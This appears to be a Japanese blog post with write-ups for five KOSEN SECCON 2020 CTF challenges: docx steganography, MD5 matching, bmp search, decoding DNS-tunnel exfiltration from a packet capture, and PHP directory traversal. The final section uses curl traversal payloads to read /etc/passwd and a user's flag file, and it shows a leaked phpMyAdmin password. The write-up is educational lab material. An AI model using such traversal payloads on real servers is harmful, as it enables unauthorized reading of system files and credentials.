ぷらおり

適当にプログラムとかCTFとか

KOSEN SECCON 2020 Write-Up(olton)

oltonさんのwriteupを載せています。 その他のwriteupは以下のリンクからどうぞ。
tk , つた , hk

docxのもう一つの顔(forensics/stego)

画像が破損している!?

画像ファイルの貼られたdocxが渡される。docxに限った話じゃないがMSofficeはだいたいzip圧縮なのでunzipする。word/mediaディレクトリが画像とかを格納してるので見るとflagが書かれてる。

FLAG{ALT+I+P+W}

RBF攻撃

会員サイトにリバースブルーとフォース攻撃が行われた。

特定のパスワードと不特定のユーザの組み合わせで大量のアクセスが行われたようである。

ログイン試行がなされたユーザの情報はあるが、実際にログインしたかログでは不明であった。

攻撃者が用いた特定のパスワードは解析により得ることができた。

以下の情報からログインが成功してしまったユーザを調査せよ。そのユーザ名がフラグである。

  • ログイン試行履歴アカウント(LoginAttemptHistory.txt)
    • ユーザ名
    • パスワード(md5)
  • 特定パスワード一覧(AttackPasswordList.txt)

問題にあるとおり、ユーザ名とパスワードがタブ文字で区切られたテキストファイル、パスワードっぽいものが一行ずつ書かれたテキストファイルの2種類が渡される。

ご丁寧にmd5って書いてくれてるのでhashlib使ってハッシュ化して比較する。

import hashlib
with open('AttackPasswordList.txt') as f:
    l_strip = [s.strip() for s in f.readlines()]
    for text in l_strip:
        result = hashlib.md5(text.encode('utf-8')).hexdigest()
        with open('LoginAttemptHistory.txt') as at:
            atack_str = [s.strip() for s in at.readlines()]
            for sp in atack_str:
                spl = sp.split('\t')
                if result == spl[1] :
                    print(spl[0],result)

変数名とか最後投げやりになってますね。気にしないで...

pythonあんま書いたことなかったので途中bashgrepしようかとかいろいろ考えたけど結局pythonで書いた。

FLAG{Isabella}

Find1,Find2(forensisc/stego)

この中にひとつだけ、FLAGが書かれたbmpファイルがあるらしい...

上記はFind1の問題文。圧縮ファイルの中に100個の破損したbmpファイルがあってその中でひとつだけ正常なのがある。ファイルマネジャーでプレビューできるやつが正常なのでちょっとスクロールしたら見つかった。100ならイケる。

Find2は数が10000個に増えてダミーも破損して無くてノイズ画像になってる。画像が解析できそうなpythonのライブラリダウンロードしてる時スクロールしてたら見つけた。作成者の意図的に中心部(5000~7000)にあるかなって見てたらあった。

作成者さんごめんなさい。

寄生虫のようなマルウェア(network)

攻撃者がDNSトンネリングを行うマルウェア「Helminth」を用いて私のPCにある大変貴重なフラグを覗き見てしまった。しかし幸いにも我々はその一部始終をパケットとして記録することができた。

どのような情報が取られたのか私に教えてほしい。

「Helminth マルウェア」についてggると、こことかがヒットする。

なるほど情報は攻撃者からならipアドレスで、被害者からはURLの形で送られるらしい。そんでもってアスキーコードらしい。

WireSharkとかで見てみると、ipをWireShark君がアスキーコードで変換してくれてる。

(ここに本来は画像が入るのですが,はてなブログで上手く表示されなかったのでこちらをご覧ください)

なので思っきしtypeとか書いてある。4文字ずつなのがもどかしいけど、127.0.0.1が通信終了っぽいので全部戻すと

type "C:\ProgramFiles\Rookie\CTF\FLAG.txt"

はえーすっげぇ。

さっき言ったとおり通信は名前解決するURLを通じて行われるので見てみると、明らかに正常ではないURLへの名前解決が行われてる。

なんか順列っぽくなってる箇所見つけたから抜き出すと、こんな感じだった。

00L01000JQ30D0A433A5C55736572735C7368753E747970652022433A5C.s.com 00L01001YRE50726F6772616D2046696C65735C526F6F6B69655C435446.s.com 00L01002QSF5C464C41472E74787422200D0A464C41477B48656C6D696E.s.com 00L010034YQ74685F6E69686F6E676F5F64655F6B697365696368755F72.s.com 00L01004K33617369796F21777777777D0D0A.s.com

先頭の何バイトかは通信モードとかっぽい。いい感じにアスキー変換すると

C:\Users\shu>type "C:\Program Files\Rookie\CTF\FLAG.txt"

FLAG{Helminth_nihongo_de_kiseichu_rasiyo!wwww}

こんな感じになったのでこれがFlag。(改行コードは無かったけど)

PHP Beginner Practice 1 (exploit/pwn)

問題分は忘れた。あったっけ?

ユーザディレクトリ直下のuser.txtを読みにいく問題。

readfile.phpにPOSTでfile名なげるWebページがあるので、curl で自分自身を出力させてみる。

curl http://セキュコン/readFile.php -XPOST -d 'file=readFile.php'

<!--?php
$file=fopen("/var/www/html/" . $_POST['file'], "r");
echo fread($file, filesize($_POST['file']));
fclose();
?-->

まぁreadFileからも想像できたけどモロにディレクトリトラバーサル。とはいえこの段階でtuta氏からソースとともに投げられたので、私としてはすでにreadFile.phpがある状態から始まった。これでhome/ユーザ名/user.txt指定してやればいいけど肝心のユーザ名が分からない。

とりあえず/etc/passwd見てみる。

curl http://セキュコン/readFile.php -XPOST -d 'file=../../../etc/passwd'

見れた。画像とり忘れてたけどdachshundとpomeranianとかいうユーザがいるので普通にreadFileしてみる。

curl http://セキュコン/readFile.php -XPOST -d 'file=../../../home/dachshund/user.txt'

FLAG{MmhhwFkakNwfZ6etfgZJQHglSKhyuUzJ}

memo:phpmyadmin:U6ys8Izzy8dV

見えた。次の問題がpomeranian/user.txtを見る問題だったけど解けなかった。t.k氏がhashまでは突き止めてたらしい。情報の共有不足である。